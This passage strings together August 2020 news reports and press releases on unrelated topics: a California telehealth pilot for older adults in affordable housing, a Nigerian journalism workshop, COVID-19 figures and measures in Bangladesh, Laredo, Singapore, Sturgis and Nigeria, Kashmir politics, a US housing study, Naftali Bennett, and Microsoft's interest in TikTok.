internet access, digital hardware and software, telehealth technology, and community-based, peer-to-peer digital literacy training in two California affordable housing buildings. In partnership with CDW Healthcare, Decimal.health, and the Healthy Aging in a Digital World initiative at UC Davis Health, Lighthouse will address the two largest barriers to the successful adoption of telehealth and other technology tools: internet infrastructure and effective digital skills training. The pilot program will serve more than 300 older adults and launch in two Northern and Southern California communities operated by Front Porch and Eskaton, nonprofit senior living providers that manage a combined portfolio of 38 affordable housing communities. Upon the successful implementation at these two pilot sites, Lighthouse aims to then expand to four additional affordable housing communities. With an emphasis on robust evaluation and refinement, Lighthouse will develop a strategy for replication and scaling for California and to other parts of the country. "Telehealth and other technology-enabled innovations provide a safe, efficient, and effective way for older adults to access care while social distancing," said Lindeman. "Our ultimate goal is to reach as many underserved seniors as possible with telehealth, technology, internet access, and digital skills. We know that providing pathways to connectivity is essential to support and empower vulnerable older adults during the pandemic and beyond." The Center for Information Technology Research in the Interest of Society and the Banatao Institute (CITRIS), based at the University of California, was created in 2001 to leverage world-class research to develop technology solutions to society's biggest challenges. CITRIS and UC experts have years of experience in the housing and aging sectors, and will work with the Center for Connected Health Policy, a nationally recognized digital inclusion and telehealth policy research organization. Over the course of this program, they will conduct critical research on digital inclusion policy, telehealth policy and congregate housing. The resulting Telehealth Policy White Paper will lay out a roadmap for continuing and strengthening the momentum for telehealth during and after the pandemic. Ultimately, the Lighthouse pilot aims to demonstrate that digital connectivity has the power to improve health and overall well-being for the more than 1.6 million older Americans who live in affordable housing. Many older adults, who often suffer from chronic diseases and lack financial resources and reliable information, lead stressful lives that have been worsened by the pandemic. "Residents of age-qualified affordable housing communities often not only lack broadband connectivity and technology, but also often lack access to high-quality healthcare options," said Dr. Thomas Nesbitt, one of the leading researchers behind the Healthy Aging in a Digital World initiative. "Most older adults have one or more chronic diseases which require more integrated, continuous disease management. Technology-enabled models of care can play a significant role in addressing this need. Our vision for Lighthouse is one that promotes older adult independence, increased social connections with family, caregivers and friends, and improved health and well-being that we hope will be held up as a model for other communities to replicate." About Lighthouse for Older Adults Lighthouse for Older Adults is a public-private partnership to support low-income older adults living in affordable housing communities by providing access to internet and telehealth services. Older adults are at higher risk of contracting COVID-19, and those living in affordable housing communities are especially vulnerable due partly to limited access to information, connection, and health care services. Led by the Center for Information Technology Research in the Interest of Society and the Banatao Institute (CITRIS) and University of California researchers, Lighthouse will introduce internet and telehealth technology and provide peer-led digital literacy trainings for low-income older adults. In partnership with affordable housing providers, technology distributors, and NGOs, Lighthouse will pilot its innovative program in two affordable housing communities in Northern and Southern California, with the goal of applying lessons learned and replicating the program statewide and nationally. About Healthy Aging in a Digital World at UC Davis Healthy Aging in a Digital World is an interdisciplinary research program dedicated to using innovative technology to improve the lives of older adults and their caregivers. Our team works directly with local communities to understand the day-to-day challenges of growing older and to explore user-friendly ways to apply cutting edge technology to promote healthy aging. The program's mission is to make an immediate and lasting impact on the lives of older adults in Northern California and around the world. About Eskaton Eskaton has been serving older adults in Northern California since 1968. As a nonprofit senior living provider, Eskaton's mission is to enhance the lives of older adults through innovative health, housing and social services. With five decades of experience and a national reputation for innovation, Eskaton is Transforming the Aging Experience. For more information, please call 1-866-ESKATON, or visit eskaton.org. About Front Porch and the Front Porch Center for Innovation and Wellbeing Front Porch is a not-for-profit organization based in Glendale, Calif., serving individuals and families through full-service retirement, active adult, and affordable housing communities. Founded in 1999, Front Porch embraces a leading-edge approach to enhancing well-being with innovative communities and programs like the Front Porch Center For Innovation & Wellbeing, that meet the changing needs of people as they age. Learn more at www.frontporch.net and www.fpciw.org. About the Center for Connected Health Policy The Center for Connected Health Policy (CCHP) is the federally designated National Telehealth Policy Resource Center and a recognized authority of national and state telehealth policy. CCHP was founded in 2008 as a California telehealth policy organization as a program under the Public Health Institute (PHI) and still maintains deep ties and projects related specifically to California issues. CCHPis dedicated to integrating telehealth virtual technologies into the health care system through advancing sound policy based on objective research and informed practices. CCHP has developed some of the most recognized and utilized telehealth resources in the country that are relied upon by federal and state lawmakers, researchers, health systems, providers, national organizations and many others. CONTACT: Kathleen Stann, Director of Communications, CITRIS, [email protected] SOURCE CITRIS Communique The International Press Centre (IPC), Lagos, in partnership with Media Rights Agenda (MRA) held a two-day Media Training Workshop on Using the Freedom of Information (FOI) Act for Investigative Reports on Campaign Finance and Covid-19 Accountability Issues on Wednesday August 5 and Thursday August 6, 2020 in Lagos. The training workshop was supported by the European Union through Component 4b: Support to the media of the EU Support to Democratic Governance in Nigeria (EU-SDGN) Project being implemented by the International Press Centre (IPC). The workshop brought together female and male print, broadcast and online journalists including investigative reporters, political reporters, state house correspondents and editors from the public and private media in Lagos, Ogun, Oyo, Ondo, Ekiti, Osun and Edo States. The workshop featured presentations on Understanding and Reporting Campaign Finance and Political Expenditure Frameworks and Issues, by Mr. Jide Ojo, Executive Director, OJA Development Consult; Using Investigative Reporting Techniques to Monitor Compliance with Campaign Finance and Political Expenditure Regulations by Ms. Tobore Ovuorie, Freelance Investigative Journalist; and Deploying the FOI Act and Other Investigative Tools/Methodologies in Reporting Covid-19 Funds in the Public Interest by Mr. Dayo Aiyetan, Executive Director, International Centre for Investigative Reporting (ICIR). Other presentations were: Understanding the Key Features of the Freedom of Information Act, 2011 by Mr. Edetaen Ojo, MRAs Executive Director; and The Role of the Media in Ensuring Good Governance and Government Accountability by Mr. Lanre Arogundade, Executive Director of IPC. The workshop had plenary sessions at which participants brainstormed on the matters arising from the presentations and came up with various story ideas on campaign finance and Covid-19 accountability issues that they will investigate using the Freedom of Information (FOI) Act. Observations Participants observed that: The media was not doing enough to unravel the mysteries surrounding political and campaign finance in Nigeria as many issues of importance and significant implications for governance remain uninvestigated and unreported; The medias performance in holding Federal and State Governments accountable for the receipt and expenditure of Covid-19 funds has been grossly inadequate; Investigative reporting remains a painstaking process of gathering evidence which may require journalists to submit several requests for information to different public institutions and possibly private entities; The FOI Act is a potent tool as it makes investigative reporting much more feasible as it reduces the risks associated with obtaining information through other means while also making the process of information gathering easier; To be able to meaningfully report on campaign finance, a journalist must be conversant with all the laws, regulations and policies which guide campaign financing; Investigative journalism never provides an instant story, rather it goes through recognised stages of planning, investigation and information gathering as well as reporting, and has to work to accepted standards of accuracy and evidence; Investigative journalism is a process, not an event and is not intended for use in daily reporting, leak journalism, single source reporting, misuse of information, or paparazzi journalism; The media can play a vanguard role in overcoming the barriers that often militate against disadvantaged groups like women, youths and persons living with disabilities and their participation in elections; For journalists to be able to do investigative reports they must be creative, inquisitive and constantly on the lookout for opportunities that exist for those in authority to profit from the system. Resolutions In order to attain the objectives of the workshop, participants resolved to: Familiarise themselves with the provisions of the Freedom of Information Act in order to effectively use it for verification or fact checking in the course of investigations; Read and digest relevant sections of the Constitution of the Federal Republic of Nigeria and the Electoral Act 2010 (as ammended) so as to be able to report on the state of compliance with campaign finance disclosure and accounting obligations by political parties and candidates; Read and digest the Companies and Allied Matters, the Public Procurement Act, Fiscal Responsibility Act and other relevant instruments in order to assess the state of compliance with such legislation, regulations and laws guiding budgeting and the award of contracts; Familiarise themselves with the provisions of media regulatory frameworks including the Nigeria Broadcasting Code, the Code of Ethics for Nigerian Journalists and the Nigerian Media Code of Election Coverage in order to ensure that they stick to ethical and professional standards while reporting transparency and accountability issues in governance; Upgrade their investigative and reportorial skills by exploring and making use of local and international opportunities including training programmes and fellowships; Embark on collaboration in order to conduct in-depth investigations which may require more time and resources if individually conducted; Work on the various story ideas identified at the workshop in order to promote good governance and accountability Conclusion Participants brainstormed on various ideas that they will investigate both individually and collaboratively and agreed to set up a platform to share further ideas and experiences on carrying out these investigations. They thanked the European Union which supported the workshop through Component 4b: Support to the media of the EU Support to Democratic Governance in Nigeria (EU-SDGN) Project. Source: Xinhua| 2020-08-11 17:35:17|Editor: huaxia Video Player Close DHAKA, Aug. 11 (Xinhua) -- The number of confirmed COVID-19 cases in Bangladesh Tuesday reached 263,503 as nearly 3,000 new cases were confirmed in the last 24 hours. Senior Health Ministry official Nasima Sultana said in a briefing Tuesday afternoon that "2,996 new COVID-19 positive cases and 33 deaths were reported in the last 24 hours across Bangladesh." "The number of confirmed infections in the country totaled 263,503 while fatalities stood at 3,471," she said. According to the official, 14,820 samples were tested in the last 24 hours across the country. She said the total number of recovered patients in the country stood at 151,972 including 1,535 new recoveries on Tuesday. According to the official, the COVID-19 fatality rate in Bangladesh is now 1.32 percent and the current recovery rate is 57.67 percent in the country. Bangladesh recorded the highest daily new cases of 4,019 on July 2, and the highest daily deaths of 64 on June 30. Enditem BJP leaders and workers have been provided security and hostel-type accommodation has been suggested for members in each district Srinagar: Nearly a dozen BJP workers in Kashmir have resigned from the party following recent attacks on village-level leaders by militants, which prompted the party to suggest hostel-type secure accommodation for its members and their families in each district in the Valley. Worries have escalated after Abdul Hamid Najar, BJPs OBC morcha district president from Budgam, died at a hospital early on Monday, a day after he was shot at in his village. Admitting that several party workers, most of them lower-rung activists, have resigned over the last few days following the recent attacks on BJP panchayat members and sarpanches, a BJP leader said some were from Budgam district in central Kashmir. Letters and videos of several BJP workers announcing their resignations or disassociation with the party have been posted on social media platforms. The BJP leader said three party workers, including two panchayat members and a sarpanch from Kulgam district of south Kashmir, have resigned from the party. There is one from Handwara, one from Kupwara and one from Sopore as well, he added. BJP media in-charge Manzoor Bhat dismissed the resignations as of no consequence. These all are lower rung workers. This will not affect the party, Bhat told PTI. However, he said the party has taken serious note of the attacks on its workers and has suggested that secure accommodation be created for its members and their families in all districts. BJP Jammu and Kashmir general secretary (organisation) Ashok Koul raised the matter with party's national president JP Nadda and the union territory's party unit now believes that something will be done to secure its members, Bhat said. We brought the matter to the notice of Nadda and have already sought enhanced security cover for our workers. Some of our workers from places like Kulgam are given accommodation in Srinagar but their family lives in Kulgam so they cannot remain here. We have therefore sought secure accommodation for our workers in their respective districts. We believe something is being done on this and it will take shape in the coming few days, the BJP's media in-charge said. Several BJP leaders and workers have been provided security or individual secure housing but most have said they have to take care of their family as well and cannot live without them. Also, they cannot work by living in another district. So we have suggested that to stop such killings, hostel-type accommodation, like headquarters, be created in every district to accommodate BJP workers and their families, Bhat said. The hostel-type accommodation can provide a secure environment for hundreds of workers, even from other political parties, he said. Providing individual security to political workers is very difficult, he added. The attack on Najar followed the killings of Wasim Bari, former BJP district president of Bandipora, and his father Bashir Ahmad and brother Umar Bari last month in North Kashmir. A BJP panch was shot at and injured on 4 August while a sarpanch from the party was shot dead two days later in south Kashmir's Kulgam district. Sturgis Motorcycle Rally kicked off in the western part of South Dakota on Friday, leading to 84 arrests in one day, according to a report. The annual rally, which the city council decided would go ahead in June, has drawn thousands of bikers to the state from all over the country, many without masks or social distancing in mind. Ive been here since the beginning of July, one store owner told CBS News. People are tired of being at home, you know. This is what this rally started about is freedom. One rider who rode in from Arizona said that while he didnt want to die, I dont want to be cooped up all my life either. Attendees are reportedly being encouraged, but not required, to wear masks. Despite the rally expecting half the capacity of a normal year, at 250,000 riders, the numbers of arrests, warnings, citations, and crashes are consistent with last year, The Argus Leader reported. The newspaper reported that 84 people had been arrested across Sturgis and Rapid City District in a 24-hour period spanning from Saturday into Sunday morning. Twenty-six of those people have been arrested for driving under the influence, in comparison to 22 this time last year, according to the newspaper. A combined 58 people were arrested on misdemeanour and felony drug arrests, 17 of them felonies, statistics from the South Dakota Department of Public Safety showed. Since the 10-day event began, police in the region have reported 18 crashes, which is down from last years mark of 20. None have been fatal. On 15 June, city council members voted eight to one to forge ahead with the 80-year tradition, with governor Kristi Noem endorsing the event on Twitter. #Sturgis2020 kicks off today. Welcome to South Dakota! Our state had the Mount Rushmore Fireworks Celebration, she said. Weve been back to normal for over three months, and South Dakota is in a good spot. Average new daily cases reported in South Dakota have risen in recent weeks, with the state recording 7,600 infections in total. Just over 100 have reportedly died in the state since the pandemic began. Nationwide, the country has surpassed five million infections, leading the world in coronavirus cases, meaning in 66 residents is infected, according to an analysis by Reuters. City officials, growing increasingly frustrated as Laredos positivity rate and death rate continue to rise, are mulling changing their tune from COVID-19 education to enforcement. Because weve been saying the same thing since March weve been saying The. Same. Thing. Since. March. its probably not a lack of education at this point, said City Manager Robert Eads. Its a refusal to do the right thing. The city needs to change their tactic from carrots to sticks, he said. This likely means tightening their emergency order, or sending code enforcement and police into neighborhoods and bars, Eads said. But the city cannot enforce penalties stricter than what the state allows, noted Mayor Pete Saenz. At the end of July, two weeks after Laredo City Council approved an emergency order to close restaurant dining rooms, bingos, maquinitas and ban social gatherings, Texas Gov. Greg Abbott only gave his approval for half of the request. He stopped short of approving the citys ban on gatherings or the closure of restaurant dining rooms. Saenz also worried about Laredos public health as other cities in Texas, operating under the same set of rules, are in a recovery stage. Im taken aback in the way that other communities have succeeded but we havent yet, Saenz said. And its the same tools that we have. Theyve been able to bring down the level of positivity rate in their cities, but we havent yet. In fact were going the opposite. And its very, very troubling. He said Laredo needs to do something different, and that he was open to suggestions. City officials have been speaking with stakeholders about why their message has not been getting through to people. Its just too many fatalities, said Interim Fire Chief and Emergency Management Coordinator Ramiro Elizondo. Its getting out of hand. LPD Investigator Joe E. Baeza, interim public information officer for the city, said the police department is citing and enforcing the current city and state orders. And theyve noticed some businesses are being too lax in their practices. Theres no difference in activity, and it seems to be business as usual. These numbers are alarming and surprising, and we need to stop these rates from going up, he said. He asked the community to report anonymous tips through the Laredo Police Department app. If you work in a place thats unsafe, we want to know about it. If youre in a location where theres a gathering, we want to know about it, Baeza said. Julia Wallace may be reached at 956-728-2543 or jwallace@lmtonline.com The prediction by professor Arthur C. Nelson undermines the classic 'big promise' in homeownership: that a home, after it's paid off, can be sold for a retirement nest egg Millions of American homes could become unsellable - or could be sold at significant losses to their senior-citizen owners - between now and 2040, according to new research from the University of Arizona. The study predicts that many baby boomers and members of Generation X will struggle to sell their homes as they become empty nesters and singles. The problem is that millions of millennials and members of Generation Z may not be able to afford those homes, or they may not want them, opting for smaller homes in walkable communities instead of distant suburbs, . Baby boomers are people born between 1946 and 1964, while Gen Xers were born between 1965 and 1980. Millennials were born between 1981 and 1997 and Gen Zers between 1998 and 2015. The study predicts that the change in home-buying behaviors by younger generations may result in a glut of homes that could grow as high as 15 million by 2040, with homeowners selling for far below what they paid - if they can sell them at all. Most seniors will be able to sell their homes, the study says, but it may become especially difficult in smaller, distant and slow- or non-growing markets. Arthur C. Nelson, a professor of urban planning and real estate development at the UArizona College of Architecture, Planning and Landscape Architecture, calls his prediction "The Great Senior Short Sale" in a paper published this week in the Journal of Comparative Urban Land and Policy. An expert in urban studies, public policy and land development, Nelson has spent a large part of his career studying the changing demand for suburban homes, since long before the housing market crash of the Great Recession. His newest prediction, if it plays out, would undermine one of the "big promises" of homeownership for millions of seniors, Nelson said: that a home, after it's paid off, can be sold for a retirement nest egg. "What if you pay off your mortgage over 30 years," he added, "and nobody buys the home?" The Mismatch in the Market Nelson's prediction comes from synthesizing data from sources such as the U.S. Census Bureau and the Harvard Joint Center for Housing Studies. The Harvard center is a leading source of data for those in academia, government and business to make sense of housing issues to inform policy decisions. Nelson, using those data, mapped how the ages of homeowners would change between 2018 and 2038. Looking at three age groups - over 65, 35-64 and under 35 - he came to the projection at the center of the study: that there may be fewer homeowners under 65 in 2038 than there were in 2018, even though the vast majority of people over 65 in 2038 will own their homes. "There's the mismatch - if those over 65 unload their homes, and those under 65 aren't buying them, what happens to those homes?" he asks. Nelson is careful not to overstate his findings; millions of people will buy the homes that older generations are selling, he said. "But the vast supply is so large and the demand for them is going to be so small, in comparison, that there's going to be a real problem starting later this decade," he said. Nelson said he expects the phenomenon to reveal itself not all at once, but gradually over the next couple decades, at about 500,000 to 1 million homes every year. It's not likely to have much impact in growing metropolitan areas such as Phoenix or Dallas where "growth will solve all kinds of problems," he said, but it will matter in thousands of suburban and rural areas - including some parts of Arizona. "The people who own homes now in thousands of declining communities may simply have to walk away from them," he said. Proposed Policy Solutions Nelson's study urges action from lawmakers, and he offers some ideas of his own. Among those is a program in which the federal government would buy back homes that have or may become unsellable. The Federal Emergency Management Agency already does something similar with homes that or have been or are likely to be damaged by natural disasters. By bearing the cost of buying those homes, Nelson said, the government could help seniors avoid turning to federal social support programs after losing their homes. Those programs are costly to taxpayers, and the cost is even greater when programs need to be administered in rural or suburban areas - where homes are predicted not to sell, Nelson said. "If you have millions of seniors spread all across the landscape costing a fortune to serve, we might be better off finding ways to induce many to sell their homes," he said. "And we could actually then save potentially billions in public money that would otherwise be used to serve people in very distant and remove locations." Nelson also proposes programs at the state level that would allow younger people to live with older empty nesters, single people and others who live in homes larger than they may need, but who do not want to move. By sharing homes, Nelson said, older people would not have to sell them, and younger housemates could act as caregivers and property managers. The idea is already being tested in cities such as Minneapolis and Seattle and across the state of Oregon, Nelson said. There, laws were passed last year that allowed owners of single-family homes to divide them into multiple units. Nelson completed his study just before the coronavirus outbreak became widespread. But the pandemic, he said, doesn't make the housing issue any less urgent. "We're going to wake up in 2025 - give or take a few years - to realize that millions of seniors can't get out of their homes and that it's going to get worse in to the 2030s," he said. "We must start doing things now to reduce the coming shock of too many seniors trying to sell their homes to too few younger buyers." ### Yamina leader Naftali Bennetts story is the story of Israeli politics: a breathtaking rollercoaster ride with steep inclines and wild plunges, chronic manic depression, a humiliating political burial and a stupefying comeback against all the odds. Bennett, exiled from the Knesset in the April 2019 elections when his right-wing party failed to garner sufficient votes to cross the electoral threshold, is the official, refreshing flavor of summer 2020 in Israeli politics. Just over a year after being pronounced politically dead on arrival, Bennett is now declaring his intent to run for prime minister in the next elections. Bennetts incredible transformation can be attributed to his performance on the opposition benches and during a brief stint as defense minister, a post to which Prime Minister Benjamin Netanyahu appointed him in November 2019 to prevent him from crossing the lines to the rival Blue and White party. Bennett identified the opportunity and milked it for all it was worth. He was an energetic, proactive defense chief, mobilizing the military for the fight against the coronavirus, and perhaps the only Israeli politician for whom the coronavirus pandemic could not have come at a more opportune moment. While the government dithered on handling the pandemic, Bennett displayed unusual independence and initiative. After a new government was formed in May 2020, and Bennett opted for the opposition benches rather than join it, he appointed himself shadow coronavirus minister, proposing initiatives, presenting plans and meeting with victims of the pandemics economic fallout, standing out against the backdrop of the governments failure to stem the disease. The blueprint for fighting the coronavirus resurgence, presented amid much fanfare at the end of July by professor Ronni Gamzu, the project manager appointed by the government, was a near replica of Bennetts early April proposal, which was ignored at the time. Bennett identified the economic crisis before it erupted and focused on it. When all the politicians around him were busy forming a new government and handing out the electoral booty of the March 2 elections, Bennett insisted on one mantra: ensuring livelihoods. And it worked. His rise was meteoric. Within weeks, the name of the somewhat marginal opposition politician was being mentioned in the same breath as leading Netanyahu rivals, such as Benny Gantz, Blue and White leader and defense minister; Yair Lapid, chair of the Yesh Atid party; and Avigdor Liberman, chair of the Yisrael Beitenu party. Right now, polls rate him higher than these two in terms of his suitability for the prime ministers job. Polls also give his Yamina party between 14 and 19 Knesset seats, three times the five Knesset seats it now has, and for the first time in recent years, the idea of his candidacy for the premiership does not seem over the top. Still, Bennett knows better than most the fickle nature of poll results. He found out the hard way in April 2019. In recent days, he has declared that he is not in Netanyahus pocket any longer. If/when elections are held, he could well recommend himself to President Reuven Rivlin for the position of prime minister. What's more, Bennett and his political ally, former Justice Minister Ayelet Shaked, have accused Netanyahu of dismantling the political right and declared that next time, all bets are off. Is Bennett capable of deserting his right-wing ideological camp and hooking up with people who are not Benjamin Netanyahu? Could he renew the famous brotherhood (alliance) he forged with centrist Lapid in 2013? In private conversations, he insists he can. Reality, statistics and history argue otherwise. Bennetts political base would not forgive his betrayal of Netanyahu. On the other hand, Bennett knows the time has come to spread his wings and disconnect from the mother ship. Time will tell. The broader question arising from Bennetts revival is whether Israel is prepared and ripe for a religious, yarmulke-wearing prime minister. If Bennetts poll numbers are translated into Knesset seats at the ballot box, he could wring a promise from the winner of a job rotation, similar to the job switch deal between Netanyahu and Gantz. Israel has never had a religious prime minister. From David Ben-Gurion to Ehud Olmert, from Menachem Begin to Ariel Sharon, and especially secular Netanyahu, the leaders of the Jewish state were not religious adherents. They adopted the trappings of Jewish tradition in order to appeal to the religious and ultra-Orthodox, but did not keep the Sabbath or cover their heads. Demographic shifts of the past two decades have made Israel more religious and conservative, less liberal and progressive. On the other hand, while secular Israelis have lost the absolute demographic majority they enjoyed in the past, they still constitute the largest population group. Could they come to terms with a yarmulke-wearing premier? Hard to say. Bennetts current popularity crosses political sectors and party lines. Left-wing and secular voters are well aware of his creativity and innovative spirit as a former high-tech entrepreneur, and for the first time are willing to consider voting for him. Nonetheless, their numbers are not significant. Bennetts base still hails from the right and religious-Zionist circles. He is not ultra-Orthodox, his yarmulke is small and he is considered religious light, perhaps the lightest possible. Will that suffice for him to overcome suspicion? The answer lies in the ballot boxes. Bennett will have to decide whether to keep running on a platform closely affiliated with religious Zionism, with a secular fig leaf in the image of Shaked, or to veer to the center of the political map, mobilize additional secular politicians and create a shared religious-secular platform paving the way to consensus. All these decisions await the man who has already been eulogized, buried politically and almost forgotten. That is Israeli politics. It is never too late, no one ever truly disappears, anything is possible, and as late Prime Minister Ariel Sharon said at the time, Most importantly, stay on the wheel, sometimes you are down, and sometimes up. South Africa: Committee sends condolences to families of late medical practitioners The chairperson of the Portfolio Committee on Health, Dr Sibongiseni Dhlomo, has expressed heartfelt condolences to the families of the healthcare workers, who lost their lives in the fight against the COVID-19 pandemic. No words can describe the loss of a loved one. My deepest sympathies to all the families that have lost those that are dear to their hearts. The country has lost soldiers who have been at the frontline in the fight against the pandemic, Dhlomo said. He also wished those who are hospitalised and in quarantine sites a speedy recovery. Dhlomo said healthcare workers undertake the work of caring for those with COVID-19, despite the risky circumstances under which they work. The oath and pledges that they took in front of God keep them through all the difficult work situations. We are greatly indebted to them as a country, Dhlomo said. He acknowledged those who have passed away due to COVID-19. The healthcare sector, both public and private, has suffered an immeasurable loss in the last few weeks by the loss of the following medical doctors: Professor Rita Ramjee, Professor Solomon Elias Levin, Professor Joel Matsipa, Professor Eric Rosen, Professor Nancy Shipalana, Professor Bernard Jansen Van Rensburg, Professor Vinesh Pillay, Professor Martin Marivate, Professor Anton Stoltz, Dr Elizabeth-Mamisa Chabula-Nxiweni and Professor Lungile Pepeta, Dhlomo said. SAnews.gov.za This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. Microsoft employees don't want the company to buy Chinese social media app TikTok because the deal is 'unethical', leaked messages have revealed. A survey of staff which asked them for their opinions on the merger - worth a reported $50billion - found 63 per cent were opposed with just 18 per cent in favour. Microsoft entered the running to buy TikTok earlier this month after Donald Trump threatened to ban the app unless it cut ties with its China-based owners. The deal, which would have to be concluded by September 15, could be worth up to $50billion - which Trump has suggested the government should get a cut of. Microsoft staff are opposed to the company buying Chinese social media giant TikTok, leaked messages have revealed, with 63 per cent voting against it in a survey (file) Bill Gates, who co-founded Microsoft in 1975 and quit the board this year, has already described the deal as a 'poisoned chalice' - and it seems staff agree with him. Posting on an internal company social network called Yammer, staff said it feels like 'we're not doing the right thing' by entering into the negotiations. In a survey on Yammer, seen by Business Insider, 63 per cent of staff said 'no' when asked whether Microsoft should buy TikTok. Another 19 per cent said they 'weren't sure' and just 18 per cent said 'yes'. The survey polled 250 members of Microsoft's 150,000 employees. In a comment thread about the deal, one user wrote: 'Especially since Satya [Nadella] became CEO, I've felt nothing but pride to be part of this company. 'This is the first time in a long time that I've had doubt gnawing at the pit of my stomach that maybe we're not doing the right thing.' Another added: 'This deal is unethical from pretty much any perspective. That Microsoft would even be considering stepping into this situation is unthinkable.' Last week, Trump moved to ban TikTok's owners ByteDance from operating in the US on national security grounds, over fears that data collected by the app is being sent back to Beijing. But a last-minute intervention by Microsoft CEO Satya Nadella convinced the president to offer TikTok a lifeline: It can continue to operate provided ByteDance sells it to an American company. 'A very substantial portion of that price is going to have to come into the Treasury of the United States, because we're making [the deal] possible,' Trump added. Those comments raised eyebrows across the business world, and was likened to a Mafia-style shakedown by some. Mark Almond, a lecturer in modern history at the University of Oxford, said Trump appeared to be asking for 'pizzo' - an Italian mob term for protection money. Microsoft entered the running to buy TikTok after CEO Satya Nadella spoke to President Trump (pictured together in 2017) and persuaded him not to ban the app, if a US firm took it over 'This may be intended as a signal to Beijing, but it may also send a message to others who are at the moment not remotely hostile towards the United States,' he said. 'It gives his enemies, and his enemies in the US, grounds to say that it looks like a Mafia shakedown.' The deal appeals to Microsoft because it would allow the computer manufacturer to increase its presence in the social media space, competing with the likes of Facebook and Google. The only social network currently owned by Microsoft is LinkedIn - its previous largest purchase, which it paid $26billion for in 2016. Neither Facebook or Google can enter the running for TikTok, because of anti-trust issues they are facing. The app's users are also predominantly young, providing lucrative growth and advertising prospects. Some experts have suggested TikTok could be worth up to $200billion in a few years, provided the right opportunities to grow. But wading into the social media space would mean Microsoft contending with issues such as content moderation and free speech, which have piled pressure on the likes of Facebook and Twitter in recent weeks. As the app grows, it could also expose Microsoft to antitrust investigations that saw Mark Zuckerberg, Jeff Bezos, Sundar Pichai and Tim Cook brought to testify in front of Congress two weeks ago. Migrant workers at the dormitories that houses foreign workers in Singapore. (PHOTO: Roslan Rahman/AFP via Getty Images) SINGAPORE With the completion of COVID-19 testing of all migrant workers staying in dormitories, the Inter-agency Task Force (ITF) will be shifting its priority to guarding against new infections as the workers return to daily work. In a joint media release on Tuesday (11 August) by Ministry of Manpower (MOM), Building and Construction Authority (BCA), Economic Development Board (EDB) and Health Promotion Board (HPB) said that employers of workers that need to be regularly tested are required to arrange for their workers to undergo the COVID-19 swab tests every 14 days at a regional screening centre, or an in-dormitory test centre where available. The employers should space out the testing of their workers over the 14-day period to ensure that authorities are able to maintain constant surveillance of the COVID-19 situation among the workers. To help the employers book swab tests for their workers, HPB has launched the Swab Registration System to enable employers to book appointment slots for the testing of their workers. Employers can make use of the system to select the swab location and testing date for their workers. They are encouraged to check the system regularly to book appointments for their workers. Four key layers of safeguards in dormitories Dormitories have been putting in place safe-living measures to allow workers to resume work while minimising the risk of renewed infections. These measures include having staggered pickup/drop-off timings, updating of the workers residence addresses, and minimising mixing between blocks. Employers and workers are also required to observe proper safe distancing measures at the workplace. ITF listed four key layers of safeguards to manage the risk of new outbreaks in dormitories: Workers are required to self-monitor their health. They are required to report their temperature and also if they have any acute respiratory illness symptoms through the FWMOMCare App twice a day. Workers who report symptoms will be identified and cared for immediately. ITF will monitor the number of migrant workers who report sick at the medical posts, as an early indication of any possible infections. ITF will also monitor the waste water from higher risk dormitories for traces of the COVID-19 virus. Workers in higher risk settings are put through regular routine testing. This includes workers staying in dormitories and workers who work onsite in the construction, marine and process sectors. They are required to go for a swab test every 14 days. Workers who were infected previously and have recovered from COVID-19 are not required to undergo regular testing for 180 days. Story continues Should there be potential infections among migrant workers, the ITF will isolate and quarantine all at-risk workers within the blocks housing the infected workers, as a precautionary measure. Aggressive testing will be conducted to identify any further spread of the virus. Workers who have recovered for less than 90 days will not need to be isolated as current medical evidence suggests that they continue to have immunity. Those who have recovered for more than 90 days from their original illness will be clinically assessed as to whether they will require repeat testing and isolation if they develop fresh respiratory symptoms. Stay in the know on-the-go: Join Yahoo Singapore's Telegram channel at http://t.me/YahooSingapore Other Singapore stories: COVID-19: Singapore confirms 61 new cases, two in the community Ship repair firm fined $300,000, assistant supervisor jailed 12 weeks over diver's death Delivery driver molested jogger after watching porn in van Man jailed and caned for uploading nude photos of 2 ex-girlfriends, sex with underage girl The U.S. government on Tuesday donated 200 life-saving ventilators to Nigeria as a fulfilment to help Nigeria in the fight against the COVID-19 pandemic. U.S Ambassador to Nigeria, Mary Beth Leonard, said the 200 ventilators being transferred are compact, portable and can easily be mobilised to reach patients with the most severe symptoms of COVID-19 The U.S Ambassador said earlier this year that the American government are working hard to send ventilators to Nigeria. Her comment came following a phone conversation between President Muhammadu Buhari and his U.S counterpart, in which the latter promised to assist Nigeria in fighting the pandemic. This donation consists of 200 ventilators, which, as we all know by now, are a critical component of the response strategy to save the lives of persons who have been severely impacted by this viral infection. They will certainly be of great benefit to the people of Nigeria and I wish to convey the appreciation of His Excellency Muhammadu Buhari, President of the Federal Republic of Nigeria. And of the government of Nigeria, to President Donald Trump and the United States Government for the generous consideration and friendly gesture. Our support includes training on the use and maintenance of this equipment, ensuring that the ventilators can address other respiratory illnesses in the years beyond the virus. USAID will work very closely and energetically over the next couple of weeks with the Ministry of Health and the Presidential Task Force to bring these ventilators across each of Nigerias states and the FCT. In fighting the COVID pandemic, it is critically important that doctors have adequate access to medical oxygen, as these ventilators depend on a reliable supply to be effective in treating patients with severe symptoms. The United States has been pivotal in supporting Nigerias membership in the Every Breath Counts Coalition. Nigeria is now one of just two countries in Africa to have an oxygen roadmap that seeks to fight against pneumonia, hypoxemia, and now COVID-19, Leonard said. Ms Leonard lauded Nigerias effort in combating the virus and efforts of the country in taking early action to combat and mitigate its spread. I hope to see Nigeria continue this trajectory as an example for other nations to follow, Leonard added. She said the American people remain committed to working with Nigeria to implement effective disease surveillance efforts and to improve its capacity to safely isolate and treat confirmed cases as we look ahead to a virus-free Nigeria. Receiving the ventilators on behalf of the Federal Government, Minister of Health, Osagie Ehanire, said the ventilators were valuable equipment to support Nigeria in the fight against the COVID-19 pandemic. Mr Ehanire said the United States Agency for International Development (USAID), acting on behalf of the United States Government, invited him to receive the ventilators on behalf of the Government of Nigeria. The Minister noted that the delivery of the medical ventilators, courtesy of the President and people of the United States of America, will help boost Nigerias intensive care response capability. We have worked hard to cope and, where necessary, adjust to the changes. The Federal Ministry of Health, and its public health Agency, the Nigeria Centre for Disease Control (NCDC), have focused on providing guidance to tackle the challenges. Our health workers have been trained and equipped and are doing the needful to attend to COVID-19 patients and give emergency care, while not losing sight of routine and essential health services. I believe they, and the people of Nigeria, are encouraged and reassured by the arrival of these ventilators to facilitate critical care aspects of treatment. I wish to also commend the United States Agency for International Development, the US Center for Disease Control and the US Ambassador to Nigeria Her Excellency Mary Beth Leonard, for their 